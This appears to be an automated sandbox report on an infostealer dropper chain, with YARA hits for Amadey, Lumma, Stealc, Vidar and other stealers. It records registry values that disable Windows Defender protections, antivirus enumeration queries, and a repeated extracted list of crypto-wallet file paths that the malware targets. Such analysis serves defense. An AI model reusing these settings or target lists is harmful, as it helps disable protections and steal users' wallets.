Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016972001\da27b66823.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016972001\da27b66823.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016973001\6e771dc37a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016973001\6e771dc37a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016974001\ffddd9d873.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016974001\ffddd9d873.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003DCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_003DCBEA

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: c7af53ccad.exe, 00000007.00000002.2790107590.00000000010F4000.00000004.00000020.00020000.00000000.sdmp, c7af53ccad.exe, 00000007.00000002.2791093014.0000000001129000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3162049955.0000000005D37000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3138808688.0000000005D37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1767862470.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1808165933.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1796426349.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1836869033.0000000000AA1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2242783605.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: 59f3adca26.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 59f3adca26.exe PID: 896, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 3275f9fb1e.exe PID: 2008, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 6.0.c7af53ccad.exe.490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.c7af53ccad.exe.3ae94e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.c7af53ccad.exe.3ae94e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.c7af53ccad.exe.3aa3198.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000029.00000003.3051864216.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3063610410.0000000004E70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000003.2723142079.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3259779000.0000000000DF1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3272425703.000000000149E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2920193259.0000000005600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7847e34378.exe PID: 4408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7847e34378.exe PID: 704, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 7847e34378.exe PID: 4408, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match

File source: 6.2.c7af53ccad.exe.3aa3198.1.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: c7af53ccad.exe, 00000007.00000002.2791093014.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: c7af53ccad.exe, 00000007.00000002.2791093014.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: c7af53ccad.exe, 00000007.00000002.2791093014.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: Jaxx Liberty
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
